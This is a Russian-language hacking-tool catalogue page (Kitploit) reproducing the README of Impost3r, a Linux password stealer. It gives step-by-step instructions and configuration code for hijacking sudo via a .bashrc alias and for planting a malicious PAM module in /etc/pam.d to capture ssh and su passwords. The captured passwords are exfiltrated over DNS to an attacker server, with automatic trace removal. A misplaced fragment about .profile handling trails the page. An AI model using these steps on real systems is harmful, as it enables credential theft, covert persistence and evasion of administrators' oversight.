Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Impost3r — 👻Impost3r -- Похититель паролей Linux | Kitploit
Инструменты/GitHubGitHub/ph4ntonn/impost3r
Атаки на ПаролиПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- Похититель паролей Linux

Репозиторий
6641221 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

English

Impost3r — это инструмент, написанный на C, предназначенный для кражи различных паролей (ssh, su, sudo) в Linux.

Пользователи могут использовать эту программу для создания «водопоя» и кражи паролей легитимных пользователей.

Данный инструмент предназначен исключительно для исследований и обучения в области безопасности. Пользователь несёт всю ответственность за использование данного инструмента и все связанные с этим юридические последствия! Авторы не несут никакой юридической или иной ответственности!

Особенности

  • Автоматическое удаление следов активности
  • Передача результатов через DNS-протокол
  • Незаметность для пользователя

Зависимости

  • gcc

Инструкция по использованию

Impost3r может использоваться для кражи паролей сервисов sudo, su и ssh. Эти три сервиса можно условно разделить на две категории: sudo и ssh/su. Рассмотрим два случая.

Кража пароля sudo

Для этого требуется только права обычного пользователя (не обязательно root), но можно украсть пароль только соответствующего пользователя, а не других.

  • Предположим, атакующий получил контроль над сервером с правами обычного пользователя.

  • Проверьте наличие файла .bash_profile в домашнем каталоге пользователя. Если .bash_profile существует: проверьте, загружается ли в нём .bashrc явно. Если загружается, пропустите этот и два следующих шага и переходите к дальнейшим действиям. Если не загружается, пропустите два следующих шага, и все дальнейшие операции с .bashrc должны быть заменены на операции с .bash_profile!!! Если .bash_profile отсутствует: переходите к следующему шагу.

  • Проверьте наличие файла .bash_login в домашнем каталоге пользователя. Если .bash_login существует: проверьте, загружается ли в нём .bashrc явно. Если загружается, пропустите этот и следующий шаг и переходите к дальнейшим действиям. Если не загружается, пропустите следующий шаг, и все дальнейшие операции с .bashrc должны быть заменены на операции с .bash_login!!! Если отсутствует: переходите к следующему шагу.

root@kitploit:~
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • Скопируйте оригинальный .bashrc пользователя: cp ~/.bashrc /tmp/ и поместите эту копию в произвольный путь, контролируемый атакующим (в примере — каталог /tmp/, атакующий может изменить).

  • Измените .bashrc в домашнем каталоге пользователя (~/.bashrc), добавив в конец следующую строку (значение /tmp/.impost3r должно совпадать с FILENAME ниже):

root@kitploit:~
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • После добавления сохраните файл и выполните source ~/.bashrc.

  • Затем атакующему необходимо изменить исходный код Impost3r в файле /sudo/main.h:

root@kitploit:~
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Установите расположение Impost3r на целевой машине
# define BACKUP_ORI_FILENAME ".bashrc" \\Укажите, резервная копия какого пользовательского конфигурационного файла была создана: .bashrc, .bash_profile, .profile или .bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\Укажите расположение резервной копии пользовательского конфигурационного файла на целевой машине
# define SAVE_OR_SEND 0 \\Выберите: сохранить результат на целевой машине (1) или отправить на контролируемую атакующим машину (0). По умолчанию — отправка.

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\Обратите внимание: если вы не хотите покупать домен для получения сообщений от Impost3r, и целевая машина не блокирует прямые UDP-соединения на 53-й порт вашего DNS-сервера, оставьте значение по умолчанию.
\\Если же целевая машина строго ограничивает исходящие DNS-запросы, замените YOUR_DOMAIN на купленный домен, например ".example.com", настройте его NS-запись на ваш DNS-сервер, запустите на нём Fdns, а ниже в REMOTE_ADDRESS укажите DNS-адрес целевой машины, а в REMOTE_PORT — порт её DNS-службы (в большинстве случаев 53).
# define MAX_RESEND 30 \\Максимальное количество повторных попыток отправки пароля атакующему после его кражи
# define RESEND_INTERVAL 5 \\Интервал между отправками пароля
# define REMOTE_ADDRESS "192.168.0.12" \\Удалённый адрес для отправки пароля
# define REMOTE_PORT 53 \\Удалённый порт для отправки пароля

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Путь для сохранения файла с результатами (если SAVE_OR_SEND = 1)
  • После изменения сохраните файл и выполните make в текущем каталоге.

  • В текущем каталоге будет скомпилирован файл .impost3r.

  • Загрузите файл .impost3r в каталог /tmp/ целевой машины (это лишь пример; вы можете изменить путь, главное — чтобы он совпадал с определением в исходном коде).

  • На своём сервере запустите DNS-серверную программу и ожидайте ввода пароля легитимным пользователем при использовании sudo.

Демонстрация кражи

Советы

  • При краже пароля sudo Impost3r автоматически удаляет следы после успешного получения; атакующему не нужно вмешиваться вручную.

  • Impost3r автоматически проверяет, является ли введённый пароль правильным. Процесс завершается и следы удаляются только после ввода корректного пароля.

  • Перед использованием Impost3r убедитесь, что текущий пользователь входит в группу sudoer, выполнив sudo -v. Если нет, не используйте Impost3r.

Кража пароля ssh/su

Метод кражи паролей ssh/su отличается от кражи sudo. Для этого требуются права root. Можно украсть пароль любого пользователя.

Ниже приведён пример для Ubuntu; для CentOS аналогично, но используемые файлы и способы их изменения могут отличаться.

  • По-прежнему предположим, что атакующий получил контроль над сервером.

  • Получите права root (например, через повышение привилегий, или если администратор использует root для запуска служб).

  • Сначала отредактируйте исходный код Impost3r в файле /ssh_su/main.h:

root@kitploit:~
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\Режим кражи: 0 — только ssh, 1 — ssh и su. По умолчанию 0 (различие будет объяснено позже)
# define SAVE_OR_SEND 0 \\Выберите: сохранить (1) или отправить (0). По умолчанию — отправка.

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\Аналогично предыдущему
# define MAX_RESEND 30 \\Максимальное количество повторных отправок (действителен только если SSH_OR_BOTH = 0)
# define RESEND_INTERVAL 5 \\Интервал между отправками (действителен только если SSH_OR_BOTH = 0)
# define REMOTE_ADDRESS "192.168.0.12" \\Удалённый адрес для отправки
# define REMOTE_PORT 53 \\Удалённый порт

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Путь для сохранения (если SAVE_OR_SEND = 1)
  • После изменений сохраните файл и выполните make в текущем каталоге.

  • Получите скомпилированный файл impost3r.so.

  • Загрузите impost3r.so в каталог /lib/x86_64-linux-gnu/security целевой машины (на разных машинах каталог может отличаться; разместите в соответствии с архитектурой).

  • Перейдите в /etc/pam.d. Далее возможны два варианта. Если выбран режим кражи только ssh-пароля, выполните vi sshd и добавьте в конец файла следующие строки (обратите внимание: в других дистрибутивах Linux этот файл может сильно отличаться от Ubuntu; рекомендуется сначала изучить правила и затем добавить в подходящее место):

root@kitploit:~
auth optional impost3r.so
account optional impost3r.so
  • Сохраните и выйдите, затем перезапустите службу sshd: service sshd restart.

  • Если выбран режим кражи как ssh, так и su, выполните vi common-auth, добавьте те же строки, сохраните, выйдите и перезапустите sshd.

  • На своём сервере запустите DNS-серверную программу и ожидайте, пока легитимный пользователь войдёт на целевую машину через ssh или переключит пользователя через su, после чего пароль будет перехвачен.

Демонстрация кражи

Советы

  • При краже пароля ssh/su Impost3r не может удалить следы из-за ограничений прав; атакующему необходимо сделать это вручную.

  • Обратите внимание: если установлен режим кражи только ssh-пароля, можно с высокой вероятностью гарантировать получение результата. Если же установлен режим кражи обоих паролей, то стопроцентное получение результата не гарантируется (только при отправке через DNS; при локальном сохранении проблем нет).

  • Не рекомендуется красть пароль su; так как пароль ssh и su у пользователя одинаковы, лучше ограничиться кражей ssh-пароля, если нет необходимости в su.

  • Пустые пароли по умолчанию не перехватываются. Проверьте, не настроены ли на целевой машине пустые пароли (наличие PermitEmptyPasswords yes в конфигурации sshd). Если пароль пустой, то и красть нечего.

Примечания

  • В качестве DNS-сервера используется Fdns с некоторыми изменениями. Исходный код с изменениями можно найти в папке Fdns; скомпилируйте его командой gcc -o dns main.c util.c (не забудьте изменить порт прослушивания в main.c).

  • Перед компиляцией Fdns проверьте значение YOUR_DOMAIN в util.h; оно должно совпадать с значением, использованным при компиляции Impost3r на целевой машине, иначе кража может не сработать.

  • Данная программа разрабатывалась в свободное время для обучения; возможны ошибки. Заранее прошу прощения и приветствую сообщения об ошибках.

Благодарности

  • Fdns
  • libbaseencode
Скачать инструмент
.bash_login
  • Проверьте наличие файла .profile в домашнем каталоге пользователя. Если .profile существует: проверьте, загружается ли в нём .bashrc явно (по умолчанию загружается). Если загружается, пропустите этот шаг и переходите к дальнейшим действиям. Если не загружается, то все дальнейшие операции с .bashrc должны быть заменены на операции с .profile!!! Если .profile также отсутствует, то в принципе Impost3r не может быть использован, хотя вы можете принять решение самостоятельно: создать файл .bash_profile или .profile и записать в него код загрузки .bashrc, например: